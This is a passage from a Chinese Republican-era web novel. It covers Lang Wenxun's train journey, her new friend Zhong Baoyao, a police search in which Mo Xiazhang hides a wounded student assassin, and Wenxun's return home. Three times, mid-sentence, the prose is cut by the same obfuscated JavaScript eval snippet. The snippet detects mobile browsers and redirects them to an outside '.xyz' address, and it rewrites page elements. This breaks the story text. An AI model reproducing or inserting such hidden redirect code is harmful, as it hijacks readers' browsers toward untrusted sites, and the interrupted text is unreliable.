思齐在这里,语气都坚毅了两分,“想去日本,或者德国。” “学医?” “对。” “这是实业,是能帮得到人的好本事。”莫霞章有些艳羡,他张嘴还要说什么,应贵从远方小跑过来。 莫霞章见到他匆匆赶来,再没有谈性,转过头看着外头倒退的风景沉默。 应贵一手提着衣摆,一手擦着脑门上的汗,见了思齐先鞠躬问好,“黄少爷。”然后是那种拓在脸上的喜庆的笑:“我们家少爷有些累了,我先送他回去了。” 累了吗?思齐抬眼望着一言不发的莫霞章,倒是觉得他现在比刚才要更不高兴了。 偏偏应贵还在旁边伸手指引,“少爷,咱们回去吧。” 莫霞章就像是被强架起来。若是没有思齐当面,他说不定还要反抗一二,偏偏骑虎难下。他因不愿意被放到火上烤,只能松了手,转身跟应贵回去。 思齐瞧着,倒像是在押解犯人。 他留了个心,趁着吃饭的时候把这般先前见闻说给朗文薰听了。 “我觉着莫公子与家里的仆人相处得怪怪的。” 朗文薰没见过那幅画面,只能猜测,“或许是忧心父亲病情,所以心里有些不大痛快?” 思齐代入这种可能想了想,又摇头:“我觉得不像。” “说不定这就是莫府里的规矩。”巧珍在旁边道。 她和祥叔都是老派人,坚持主人先吃,自己后吃的传统,所以此刻仍站在文薰身边服侍,帮她撤盘子,上茶。 思齐交叠着手靠在桌上,诚心发问:“小丫头,你知道什么?” 巧珍抬了抬下巴,骄傲道:“我知道的可多了。小姐,我和太太去过莫府。” 一句话,吸引到了两个人的视线。 巧珍很享受这种被人注视的感觉,继续说:“那是去年的秋天,我跟着太太去莫府拜访。我没什么见识,就记得莫家宅子很大,仆人很多,院子很深。小姐说我固守规矩,其实我不过是遵守了工作时的本分。你们真去莫府见了便知道,莫府的规矩才大,莫府的仆人才能叫作仆人呢。” 毕竟如今说起来也叫世交,朗文薰对莫府尚算了解,“我之前听母亲说过,莫府是前明传下来的人家,他们一直倨住金陵,是几百年的豪族了。在前清时期,府上出过将军,出过相爷,族里也是一片做过官的……论起底蕴,是要比咱们家强。” “可还是咱们家好,”巧珍迫不及待地说:“我只是去了一趟莫家,就再不愿意去了。在莫家,我都不能大声说话,不然就会有老妈子盯着我看。我要是莫府的下人,说不定就被她拖下去打嘴巴了。” 思齐和文薰一齐笑出了声,思齐更是故意逗她:“那怎么办?你是我姐姐的陪嫁丫头,按照你前两天说的,这莫家你如今是非去不可了。” 巧珍绞了绞手上的帕子,一时真犯了难。 思齐见她被唬住,笑意愈浓。他对文薰道:“姐姐,这小丫头跟敬贤一样,好玩得紧,就是没敬贤机灵,是个实诚的笨丫头。” 文薰前面还听得微笑,临到最后一句话便皱起了眉。巧珍反应也快,一听自己得了个如此恶评,瞪圆了眼睛,“表少爷编排人!” 思齐犹然不觉,摊手无辜,“我光明正大发表意见,你认为不对,可以反驳啊。” “你……” “好了,”文薰见他二人再闹下去就要吵起来,开口打断,“巧珍比你和敬贤还要小一岁,你不好这么欺负她的。” 思齐缩了缩鼻子,捏住杯把低头喝茶,不吱声了。 文薰又对着巧珍道:“好妹妹,他不懂礼数,你别跟他计较,去和祥叔吃饭吧。我们吃过茶,待会儿就回房间了。” 巧珍点头,瞪了思齐一眼,气鼓鼓地转身走了。 思齐望着小丫头的背影偷笑,又被文薰用眼神横了一眼。 思齐赶忙正儿八经地解释:“姐姐,我没有欺负她的意思。” 文薰却严肃道:“我知道你只是顽笑,可其中分寸你更要自己把握。巧珍身世可怜,她孤身一人在咱们家做工,还这么小……她用尊严挣钱,你我更应该尊重她。” 思齐被说得不太好意思,挠头道:“姐姐,我,我是喜欢她机灵,觉得她可爱,才逗弄她。” 文薰道:“在我看来,这不是表达喜欢的正确方式。这世上有谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181121|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会乐意听到别人贬低自己呢?” 思齐一想,也是这个道理,便诚心诚意地低下了头,“我知道了,姐姐,我会给她赔罪的。” 餐车里时时有人来往,不是一个能得自如的地方。文薰没有久坐,喝完茶便和思齐回去了。 在头等车厢的走道上,她鼻尖一动,敏锐地觉察到一丝血腥气。 还不待她细想,莫霞章包厢的房门被人打开,从里走出的应贵抬头一见,连忙躬身向文薰和思齐问好。他身子一矮,正好让文薰望见里头的情景。 莫霞章坐着,背部直挺挺的。他端着碗用勺子喝着一碗清淡的稀粥,旁边有个年轻人在跟他说话。两个人眉头紧蹙,像是被什么事牵引了心神,严阵以待。 门很快被关上。 眼见应贵要走,文薰连忙喊住他:“莫公子还好?我看他像是不太舒服。” 应贵弓着身子,“回您的话,想来是天热,咱们少爷有些苦夏。” 说完主动问:“小姐少爷方才用饭去了,可进得香?” 文薰轻声答:“劳您挂念,车上准备的盐水鸭子不错。” “那便是如意了。”应贵笑着来到文薰的包厢房门前,先是敲了敲门,然后推开,伸手,“您请。” 尽显妥帖,却带着不容拒绝。 朗文薰到底年轻,脸皮薄,不好拒绝他,便点头谢过。 等到思齐也进去了,他还贴心地帮忙关上了门。 文薰坐到软榻上,只有愕然。 黄思齐却来了正义心思,他小声道:“姐姐,方才他请莫公子回房时,也是这样的不由分说。” 文薰不言。 思齐又道:“姐姐,想来不是所有人家都和咱们家的情况一样。我听说这种封建大家庭里,仆人是会欺负主人的。” 文薰因得“潆丝女士”的发言,帮他解释:“莫公子不像是懦弱的人。” 思齐无意中一口道出真相:“那是有什么东西压着他?” 文薰对莫霞章的境遇知之又少,如何能回答得出来? 思齐当然也知道姐姐不可能明白,他就是感叹,“莫公子真可怜。” 文薰觉得不能妄下判断,“不过是见了两面,前因不知后果的,你呀,收收好心吧。” “我又没有关心别人。”思齐提了提裤腿,在文薰身边坐下,好言相劝,“姐姐,结婚后,你千万不能呆在莫府。这种深宅大院,是会吃人的。” “我知道。”朗文薰回答,不像是有把这回事放在心上的样子。 思齐仍觉得不好,“姐姐,要不咱们別嫁了。高门大户,不是咱们这等自在人家的良配。” 文薰失笑,“傻瓜,这话千万莫当着长辈的面说。” 思齐更不能理解了,“为什么不能说?你要是不愿意,姨父姨母还能逼着你嫁人不成?” 文薰又不说话了。她起身,从箱子里取出水晶瓶子装的香水。思齐一看,想起方才走廊上闻的血腥气,极有分寸的停住了嘴。 推开了房门,文薰压着瓶子往走廊上喷了两下。蔷薇花的香气方盖住那些血腥气,就有另一个女孩开门出来,手里同样拿着澄黄的小瓶子。 文薰和那位小姐对望,先是一愣,复又不约而同笑了起来。 竟是也有人想做她想做的事。 7. 新朋友钟小姐 眼前这位小姐,正是上车时,与文薰和霞章擦肩而过的那位。 她梳着高马尾,穿着白色的系带衬衫,下面是黑色长裤配长靴,显得整个人英姿飒爽,干净利落。 文薰朝她点了点头,展现出友好。那女孩做了个手势,匆匆回到房间,放完东西又出来,奔着她过来了。 “小姐好,我见小姐有侠义心肠,和我像是一路人,想跟小姐交个朋友,不知可否方便?” 朗文薰少见这么直接的人,愣了一下才点头,“当然。” 思齐一听,赶紧让出地方,让这位小姐和文薰进了房间独处。 “小姐好,刚才上车时就想认识你了。我叫钟宝瑶,彭城人士,刚从美国回来。你可以叫我的英文名Mary,也可以叫我密斯钟。” “钟小姐好,我叫朗文薰,是广陵人,从英格兰回来。” 互报家门之后,钟宝瑶拉住文薰的手,亲亲热热地和她坐下:“广陵可是个好地方,而且离彭城也不远……” 她说完,见文薰只盯着自己,猝然一笑,“小姐别觉得我轻浮,我惯来这样,家里人都说我是个不知香臭的性子。” 朗文薰握了握她的手,道:“不会,我觉得很好,钟小姐是爽朗人。” 钟宝瑶抬了抬眉毛,似乎很得意这个评价。她又低头,看着二人交握的手,“唉呀,有些热了。” 她先用力一捧,然后才松开,“若是冬天,我定要抓住小姐的手不放了。可现在热得紧,再握下去,怕是要出手汗了。” 文薰被她满是不羁的话语逗得笑出了声。 这位钟小姐可真是位妙人。 大概是真正投缘,二人不由得又坐近了些。 “朗小姐,你在英格兰学的什么专业?” “英法文学。” 钟宝瑶语义调侃,“想来是奔着[才女]之命去的?” 朗文薰脱口而出,“不,是为了从文学中,剖析他们的文明,了解他们,战胜他们。” “噢……”钟宝瑶丹唇微张,她望着朗文薰,见其目光坚定,不由得升起佩服之情,“朗小姐志向伟大,倒显得我小气,是我心窄,我给你赔个不是。” 她自如地低头道歉。 文薰连忙托住她的肩膀,“钟小姐客气了。不知钟小姐在美学的什么专业?” 钟宝瑶笑道:“我是学新闻的,以后定然是要去做一名记者了。” 文薰听得心情都舒展了,“这也是实业。能够针砭时弊,鼓舞人心,是极有用的专业。” 钟宝瑶也是这样想,“是,我有好多话想说,恨不得现在就找个地方,写千百篇文章发表呢。” 两个女孩子凑在一起,又是轻笑。 钟宝瑶无意见看到旁边那本盖起来的书,以此发问:“朗小姐方才在看书?” 文薰顺着她的目光望去,把书籍拿过来,“不过无聊打发时间罢了。” 钟宝瑶一看,立马精神,“唉呀,竟是这本书。” “钟小姐也看过?” “是,虽是新书,可已然传到国外去了,咱们华人学生都觉得这书写得好。” 钟宝瑶想来是真看过,说得头头是道:“里面的贺老爷,真真是封建社会里最典型的恶人。明明歹毒得很,却从不觉得是自己心肠不好;享受了阶级的福利,却自认为这种权利是自己生来便有。他们惯会用权势力量去压迫别人,偏偏嘴上还要讨好,打着为你好的幌子。要不是澜瑛,贺小姐真得被她父亲活活饿死不成。” 她嘴快,说完又后悔,“我好像把后面的内容提前说出来了,你看完了吗?” “没有,”钟宝瑶想必是锻炼过演讲的口才,这段文字被她说得慷慨激昂,朗文薰听得认真,愿意听她继续讲,“不过我不介意这个,你多和我说说,故事后来的结局好吗?” “好。我个人以为,作者想必是个心肠软的人,不想看到澜瑛和贺小姐受苦,给了她们一个极好的结局。后来贺家大火,澜瑛带着贺小姐逃了出去,两个人去了沪市,开了一家绸布庄子,自力更生。” “怎么会起火呢?” “是新娶的五姨太放的。她年轻,也接受过新思想。她在受到压迫的过程中没有屈服于贺老爷的淫威,她将贺老爷说过的话和自己的想法进行对比,后来决心相信自己,开始反抗。” 文薰喟叹,“她真勇敢。” 钟宝瑶点头认可,继续说:“大太太对贺老爷当然有所怨言,便悄悄地支持五姨太。可贺家是一个有那么多女人生活,女人却做不得主的地方。哪怕有那么多人帮助,那么多人清醒地受罪,还是有更多的人选择漠视,选择助纣为虐。下人们传言,五姨太疯了,她被贺老爷关进了屋后的宅子里。贺老爷对五姨太就像对待宠物,他喜欢她,可怜她,又时时刻刻俯视着她。他高高在上地来找五姨太,对她说只要她知道自己错了,就会原谅她。” 文薰边听,便翻着书往后看。 很快,她根据目录索引到了这段情节。 面对贺老爷的高高在上,五姨太说:“我不觉得我自己哪里错了。” 贺老爷说:“你又犯疯病了。” 五姨太的脸上露出藐视的神色,“如果有自己的思想是错,那我错了。如果反抗你是错,那我错了。如果想要堂堂正正做个人是错,那我便是大错特错!” 她更是大声宣告:“我没错!错的分明是你!你自私,虚伪、恶毒,仗势欺人……” 贺老爷怒急,他恼恨得冲过来掐住五姨太的脖子想要她闭嘴,五姨太却张口大笑。 五姨太用藏在手里的银簪子,扎进了贺老爷的脖子。 这是壮烈的反抗。 来自一位想为自己而活的战士。 文薰看到书里写的漫天大火,又往后翻。在这个故事里,贺老爷并没有立刻去死,他的脖子上有个窟窿,他就这样带着这个窟窿,被折磨得直至82岁才“寿终正寝”。 钟宝瑶在旁边拍手称快,“贺老爷的这个结局简直太叫人痛快了!那个窟窿是五姨太造成的,代表着女人给他的伤害,就像他的脐带,他分明也是从女人□□生出来的!他利用父权压迫贺小姐,让她有一双再也恢复不了的小脚,这便是报应。” 前半生都没有名字的贺小姐终于在得到真正的自由后,有了自己的名字。 她给自己取名字叫贺燕。 虽然普通,可这个社会上多的就是这样的普通女孩。而且这个名字的寓意很好,她就该像燕子一样自由地飞。 钟宝瑶的声音更加高昂,“我太喜欢这本书了,我也极想见到澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181122|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑛女士,对她说出我的佩赞之情。只有一点不好。我之前认定澜瑛是女人,后来同学告诉过,如今国内也流行男士使用偏女士的笔名。” 文薰想了想,说:“能写出这样文章的人,定然充满了人文关怀。重要的是那颗心,而非男女。就像这个世界只有好人与坏人,重点在于人,而非男女。” 钟宝瑶细品这话,逐渐点头,“说得也有道理,不过我有时候还是会觉得,自己是个男人该有多好。” 她问:“你畅想过吗?如果自己是个男人,该有多方便。现在时局混乱,若我是个男人,定是要战斗到底的!” “身为女子,也不妨碍小姐为真理呐喊呀。”文薰对此怀有不同的想法:“为什么一定要做男人呢?雪芹先生说得好,男人是泥,女人是水。我认为身为女人很好,我宁愿清澈。如果你觉得现在不方便,那就说明是时代发展还未健全,而非生为女人的错。现在不方便,我们便努力建设,早晚有一天,这个世界能够变得更好。” 朗文薰还有一句话没有说全。她以为,现在这个年代,所有中国人都应该昂首挺胸地去战斗,没必要分什么男人和女人,也不需要分什么穷人和富人。大家出生于同一个国家,长于同一片土地,他们是血脉相连,有如兄弟般的亲人,就应该团结起来! 这番观点,钟宝瑶以往从未听过,直叫她目瞪口呆。她激动地抓住文薰的手,“呀,朗小姐,你不会就是澜瑛女士吧?” 文薰失笑,“钟小姐,这本小说是今年三月份发表,算上连载的时间,那时候我还在英吉利求学呢。” 钟宝瑶低头,竟有些失落,“是我毛躁,唉呀。” 她又重新鼓起勇气,好一番告白:“朗小姐,你不仅长得漂亮,学识又好,难得的是说出的话都很有道理,我真喜欢你。” 文薰也认真回复:“钟小姐,你开朗热情,不倨傲更不自卑,还敢于说出自己内心的想法,我也很喜欢你。” 钟宝瑶被夸得喜不自胜:“你既然这么说,那我们就真是朋友了。我要把地址留给你,到时候我给你写信,你千万要回。” 文薰郑重答应,“好。” 之后钟宝瑶又给文薰推荐了几本书。 “如今国内文坛百花齐放,朗小姐,你可以多看看,说不定就有了方向能够自己去写。届时,我就等着拜读大家名作了。” 文薰觉得这是一个不错的主意,认真记下。 翻译外文作品只是她想做的事情之一。文薰有很多话想说,有很多思想想表达,她自然是想要创作真正属于自己的作品的。 说话间,列车又停。 钟宝瑶看着外头的站台张望,“这是到哪里了?” 文薰抬起手腕看表,在脑子里翻了一下这趟火车的时刻表,“好像是到晋陵了。” 钟宝瑶伸长胳膊,伸了个懒腰,“居然还有一段时间才能下车,”说完笑道:“还好路上认识了朗小姐,不然我得无聊死了。” 文薰十分喜欢她直爽敢言的性格,正欲说什么,听得外面敲门。 “小姐。”是巧珍的声音。 文薰看着钟宝瑶,等她做好后才道:“请进。” 巧珍推门进来,面上没有惊慌,反而新奇,“小姐,你快出来看啊,外头上来了好多大兵。” 8. 半路风波 巧珍所说的“大兵”实际上是来自于警察署的一群巡检,他们是从普通车厢搜过来的,目的是为了抓捕一名逃犯。 不说一路的横冲直撞冒犯了多少人,等到了头等车厢,自然各有各的收敛。 如今这个年岁,家里没有几分底蕴,谁承担得起头等车厢的票价?哪怕那些当差的不知分寸,列车长在进来之前也会提醒:“只盼各位执行公务时小心些,不要惊扰到了车上的士媛。” 反正车停在这里,一时走不了,巡检们大多懂得人情世故,知道自己正在办一桩吃力不讨好的事。为了避免是非,有人递了烟,好生好气地委托列车长去把头等车厢里的贵客请出来。 今日这辆列车的头等车厢里共有六个贵宾包间,住了两位小姐、两位年轻男士,还有一对老年夫妻和一位中年先生。这七位贵客中又带有仆从数人,都是能对上号的。 等列车长将事件的一二讲明之后,贵宾们皆配合地从包间中出来,巡检们也才踏进了车厢。 在一些明白人心里,这场搜查待会儿走个过场也就差不多了,未料到今日的巡检队伍里有个爱较真的傻子。 “傻子”姓唐,是小队的队长。他乍一带人踏入包厢,便谨遵程序,展示出搜查令,“奉江淮警察总署之命,搜车。” 唐队长是个二十出头的年轻人,一双黑眸目光如炬。他看着面前的男男女女,严肃道: “今天上午,也就是四个小时前,有人在吴州袭击了于维多利亚酒店发表讲座的张芝俨先生。老先生此行是为了宣扬国家进步政策,他进行的活动,是金陵政府批准的。不想他刚登上讲台,就遇到激进分子袭击。刺杀张先生,就相当于反抗新政府!我想,在座没有人会包庇这种造反分子吧?” 他说话时,莫霞章刚好从房间里出来,只一下便闻见了淡淡的香水味,且迅速判断出这是朗文薰身上的味道。 文薰当时正在认真听唐队长说话,她站得靠前,只给莫霞章留了个一个背影。 如此,却也叫他出神。 不知想到什么,莫霞章眨了眨眼,回身带上了门。 唐队长的话说得吓人,却遇见了有文化又有胆识的钟宝瑶: “反抗新政府实行的政策,就等同于造反——嗬,这是哪年哪月哪种落后的说法?如今是个民主自由的社会,政府要是做得好,有谁会闹?再有,人在吴州被刺杀了,你们追到晋陵的车站,这是跟谁学的办案手法?” 唐队长盯上她,当作解释,同时也是说给诸位人听:“暴徒实施恶行后,立马撤离,吴州现在已经开始派人全程搜查。由于事发后半小时内这辆列车停在了吴州,所以同样在搜查范围内。我只是奉命行事,诸位若有异议,大可以向警察总署写信抗议。” 此话一出,倒没有人再反驳了。 唐队长一挥手,带着手下上前。 思齐倒是有些想法,但他只同文薰说:“又没看见凶手,不知是怎么个搜法,难不成是搜武器?可谁会那么傻,带武器上车?” 他的话正好落到靠近的唐队长耳里,便顺嘴告诉他:“搜物只是顺带,重点是搜身。暴徒撤退前,曾被击中过。只要身上有枪伤,且在吴州上车,目标不就直接显形了?” 这么说来,确实容易。 思齐刚要点头,就见唐队长皱着眉用手指搓了搓鼻尖:“怎么这么重的香水味?” 他嗅了嗅,顺着味道,把目光落到朗文薰身上。 巧珍第一个伸手维护。 站在旁边的钟宝瑶也上前,挡了文薰半边,“我们乐意喷,你管得着吗?” 唐队长又把视线放到她身上,仍然保持着表面的客气:“请出示一下你的身份证明。” 钟宝瑶伸出两个手指,从口袋里一夹,姿态潇洒。 唐队长一看,见她才从国外回来,自然知道她不可能是凶徒。只是她几次三番开口叫他没面子,不免对其不喜。 “小姐若没别的事情,便先回房间去吧。” “你管我有事没事,”钟宝瑶收好东西,好整以暇地看着他:“看个热闹,也犯法了?” 简直胡搅蛮缠!唐队长懒得搭理她,转眼把视线落到朗文薰身上。 “小姐,请。” 文薰不答,只转头望向旁边的管家祥叔。 祥叔不慌不忙地掏出一行人,共四本通行证,“官爷,我们小姐也是前几天才回国,今天正是由舅少爷送她回家。” 这一家人是从沪市来的,自然不会也有问题。 只是蔓延在走廊上的香水味仍是让人落不下心,唐队长忍不住还是盯着文薰追问:“为什么走廊上会有这么重的香水味?你是不是想帮忙掩盖什么?” 文薰语气平稳地解释:“方才用完饭回来,我觉得身上沾了些油烟气,又觉得屋子里闷,所以来到走廊往身上补了些香。我想,没有哪条律法规定不允许女士喷香水吧?我听说南方政府的总统夫人,也爱用美国产的香水。” 唐队长听她有理有据,不好再纠缠,又越过她们的身影看了一眼丝毫不能藏人的包间,这才作罢。 他检查了老夫妻,和另一对先生后,站在了莫霞章的包厢前。那处,应贵正守在门口。 “证件。” 他的语气不太礼貌,应贵却还是笑着把几个人的证件全部拿给他看。 唐队长瞄了一眼,望着紧闭的门,“里头有谁,怎么不把门打开?” “这就开,这就开,”应贵还是那副有些谄媚的模样,他边听从吩咐开门边道:“我们家少爷是临安大学的讲师,这不,放假了,我们来接少爷回家。” 门一开,扑面而来的便是墨香,将靠的最近的唐队长呛得打了个喷嚏。他抓着身份证明和车票,瞪着眼睛看着里头正在收拾着纸张的两个年轻人。 一张半大桌子上散乱着写满文字的纸张,中间那一层全被打翻的墨水洇湿,毁了上好的笔墨不说,还沾到了这二人的衣服上,好生狼狈。 文薰看得可惜,把自己的帕子给了巧珍,让她去沾湿了拿来。 应贵“哎哟”一声,先声夺人,一副慌了手脚的模样:“小金子,你这,你怎么把少爷的墨水打翻了?” 他说着走过去把那脸嫩的年轻人拨开,大声地唱念做打,“这可是二少爷从东洋带来的高档货,据说是给他们皇帝用的,整个金陵政府里头都没有几个人有!没了这墨水,我们家少爷还怎么考状元。” 如此老派的话一出,在这新时代显得格外滑稽,令钟宝瑶直接笑出了声,连文薰和思齐都忍俊不禁。 引得人当众发笑,莫霞章半低着头,不像生气,只做制止,“应贵,别说胡话。不过是瓶墨水……” 应贵一拍膝盖,简直要呜呼哀哉了,“三少爷,您说得容易。可这是裴总理送给二少爷,二少爷才转赠给您的。” 似乎是怕别人不清楚他说的是谁,应贵又对围观的众人道:“我们家二少爷在金陵政府任职,虽然只是总理办公室的一个小文员,可平日里见的贵人多呐。《西游记》里的白龙马不就是因为打翻了玉帝赐的夜明珠才被贬到鹰愁涧受罚嘛……哎哟,坏了,这事可不能让别人知道。” 他神神叨叨地,听得莫霞章十分无奈,“应贵,好了,不要说了。你帮帮忙,去打湿一张帕子来,我们一起擦了。” 应贵应下,愤怒地一把抓住那位“小金子”,“你,你跟我过来。” 两个人一齐出去了。 唐队长估计这老管家要教训人了,不太想插手别人的家里事,侧开身子给他俩让路。 “让局长见笑了。”莫霞章此时出声,吸引他的注意力,让他把头别回来。 他方才又听得莫霞章的二哥是总理办公室里的高官,又见这主仆间确实没什么可疑指出,便挥了挥手,“别,我可不是什么局长,担不起。行了,先生还是赶紧收拾吧。” 那种会拿枪搞刺杀的莽夫,怎么可能会和这种文弱书生搅和在一起?况且人家家里就有政府高官,如何能去与政府作对? 头等车厢检查完,不多时,唐队长便带着人离开了。 其他的人各回各屋,文薰身边的人却还在门口聚着。思齐首先询问,“莫公子,要帮忙吗?” 莫霞章抬头,脸上没有他之前见到的半点郁色,反得清爽,“谢谢,不用了。” 虽然纸张乱了顺序,但文薰外头看着,也认出了这是一些小说的书稿。上面的钢笔字自有形状风骨,特别如她的意。若她是老师,定会为了这笔字而打上一个高分了。 “这么多稿子,坏了多可惜呀。” 莫霞章的心态极好,“不打紧,都是平日里写着玩的。有句话叫[千金散尽还复来],如今可改金为字,被我借用。” 钟宝瑶在旁边看着,终于忍不住了,“你这么年轻,怎么说的都是些老封建的话?” 莫霞章并不认识她,听她说话,第一反应是望向她,然后转眼看文薰。文薰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181123|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便从善如流地向他介绍:“这是钟小姐,我刚交的朋友,是从美国回来的有志青年。” 莫霞章稳重地朝钟宝瑶点了点头,语气中不乏认可,“钟小姐说的是,吾辈青年,自当以进步为自豪。” “小姐。”说话间,巧珍也回来了。她打了声招呼,便挤上前,拿着半干的帕子站到霞章身边。 “多谢姐姐,”莫霞章知道这份好心出自于谁,他先谢了文薰,又对巧珍道:“也多谢你,我自己来就好。” 巧珍也没非必要抢着做事。她退回来,大眼睛忽闪,“小姐,我肚子疼。” 虽然和这个机灵的丫头没相处几天,可文薰已经知道她是刻意了。连忙和莫霞章及钟宝瑶道别,带着人回去了。 说起来,这趟短途出行,可真是精彩。 巧珍半开着门,透过缝隙小心地看过外头没人,且祥叔就等在门口后,才把门重新关上。 巡检已然离开,火车也重新启程,还有四个小时便可到家。 巧珍似乎是怕秘密被风吹到其他人耳朵里,甚至把窗子都关上了。 思齐见她神秘,早就等不及了,“现在能说了吧?” 巧珍在文薰身边坐下,先吐出了一大口气,做足了心理准备才道:“小姐,巡查们搜的行凶歹徒,就是莫少爷身边的那个小金子。” 思齐和文薰二人互视一眼,尽管这个消息有些意外,可细想后并不是没可能。 走廊的血腥味便是第一个疑点。 怕是那味道本来就是莫霞章房间里传出来的。女士们携带了香水,男士们却没有这个便宜,所以为了掩盖房间里的血腥味,在检查时,莫霞章才会故意把墨水打翻。 只不过真相怎么就能被巧珍一个小丫头知道? 巧珍说:“因为我上车的时候见到了莫府的下人呀。其中一个是应管家,另外一个却不是刚才看到的那个年轻人。” 文薰立马想明白其中关键:“只怕是偷梁换柱了。” 如今的车票上只有时刻,和上下车两站的站名。若是半路挂失车票,反倒会引起人注意,还不如等那年轻人上车后,让家里的仆人下车。旁人根本不会注意到陌生人的具体长相,便好掩饰多了。 黄思齐想着,却担心起来,“姐姐,莫霞章好生奇怪,短短三面,面面不同,叫人看不穿他是什么样的人。” 巧珍说:“能出面帮学生,想必他是个热心肠。” 思齐没再说话,对于这点予以默认的态度。张芝俨那厮能落得如此结果,他心里自然畅快。 文薰亦是。她虽然不崇尚暴力,可今天这桩事,归根结底,又如何能把过错全部推给那位学生? 再一细想,张芝俨来不及发表演讲,倒是一桩好事。助纣为虐者,若不早早被哄下台,等他成为私人口舌,发表居安一隅的言论祸害人心,让那些本就意志不坚定的人缩回龟壳,才叫不好。 如今大家都在谈论救国,每个人都有自己的主张思想和行为模式,激烈的反抗若能唤醒国民一志,也是一种救国之法。 至少能证明中国的年轻一代都是有血性的。 思齐想着,还是开口道:“姐姐,不瞒你说,若换作是我,遇到那位[小金子]也会拔刀相助。只是于理我能理解,于情却不行。若莫霞章以后只顾进步和运动而忘了小家,留下你怎么办?” 文薰问:“为什么一定要丢下我?想来,莫公子所求不过是为了民族进步,这正好也是我的愿望呀。” 思齐语塞,陡然反应过来,莫霞章的所作所为怕是正中家姐下怀了,毕竟朗文薰可是在高中时就发表文章抨击过时事的。 他又关心,“可要是他做了什么出格的事,莫家怪你怎么办?” 文薰笑了,“说不定我会比三公子更出格呢。” 思齐觉得她太天真,“姐姐!” 文薰却不让他说下句,只一句话点破他担忧的本质,“思齐少爷,你还没拿到功名,就沾上只许州官放火,不许百姓点灯的作风了?” 黄思齐犹疑一下,在他心里,他是认同男女平等的,“我是担心姐姐。” 可难道姐姐不担心他吗? 他沉默片刻,低头认错,“是,是我思虑不周,偏了心眼,小瞧了姐姐。” 他注意着姐姐的表情,知道这回莫三公子的事是做得正好加分了。 罢罢罢,思齐在心中哀叹:两个意气相投的人组合成家庭,好过各执一词,形同陌路。 9. 文薰归家 江淮,广陵。 朗府半下午便开了大门,似是有贵客将临。透过大门往里望去,这座红木青石筑的宅子门口人来人往,皆是下仆劳作的身影。 傍晚5点左右,朗府夫妇来到门口,目视远方,翘首以盼。 不多时,有辆轿车踏着晚霞从街口驶来,稳当当地停在朗府门口。 朗太太激动难耐,拽着帕子上前两步,情难自禁。仆人上去开门,文薰下车,乍然临面,对着四年未见的母亲,未语泪先流。 “妈!” 朗太太也是哽咽,她托着女儿的手,五指用力得任谁来拽也不能松开,“回来就好,回来就好……” 巧珍从车的另一边下车,她不敢干站着,给老爷太太问好后,招呼人拿行李。 朗家传统,哪怕如今已经进入新时代,朗太太却仍着倒大袖的袄子,穿着孔雀蓝的长裙、布鞋,编了头发,配宝石珍珠钗环,做旧时妆扮。 朗文薰拿出手绢给母亲拭泪,又望向旁边直挺挺站立,仿佛能顶天的父亲。他穿着靛青色的马褂,墨绿色的长袍,还是记忆中的模样,只是鬓边多了几根银丝。 “爸。” “嗯。”朗老爷含糊地应了一声。他瞟了一眼来往的行人,颇不自在地转身,“回来了就先进屋,在门口堵着像什么样子。” 文薰瞪着眼睛看着小老头迈步,也不惯着他的脾气,直接喊道:“爸爸,你见到我怎么不哭不笑的,难道是不欢迎我回来?” 朗太太听得这话,破涕为笑。朗老爷回头瞪了女儿一眼,嘴里蠕动着像是要说什么话,一甩袖子,憋了回去。 文薰瞧见父亲窘状,笑了两声。朗太太用手指戳了戳她的脑袋,小声提醒,“你爸爸是觉得我们不太庄重。” 朗文薰吐了吐舌头,这时也不嫌热了,非倚着母亲撒娇,“总归是好不容易回来嘛。” 跨过门槛,娘俩相携着一路交谈。 “累不累?” “还好。女儿路上读了一本书,还认识了一位新的朋友,说话间不知不觉就到了。” “回国的时候呢?” “也好。这次回国走了去时不同的路线,有时在甲板上看着风景,总觉得是不腻的。” 朗太太听着报喜不报忧的话,便知朗文薰比起四年前成熟了不少,心下稍安。 “你老师还好?” “好,女儿给他看了译本,老师也问了女儿的近况,女儿都一一作答。老师还说要给我介绍一份工作。” “果然是都好。你弟弟还在津市读书,学校管束严格,只请了下周的假回来,现在还在路上,不能来迎你。” “不要紧,学业为重,下周见便是。” 到了正厅,朗老爷已经在上方稳坐。朗太太知道他的意思,拍拍女儿的手,和她分开,走过去坐到了丈夫身边。 朗府的大管家福伯正端着两杯茶候在旁边。 朗老爷年轻时考过进士,亦做过前清朝的官,当他摆出架势,一张国字脸不怒自威,“我和你母亲送你出国游学,不指望你学得多少文化,只盼你能涨些见识。你读了四年洋书,可还记得咱们家里的规矩?” 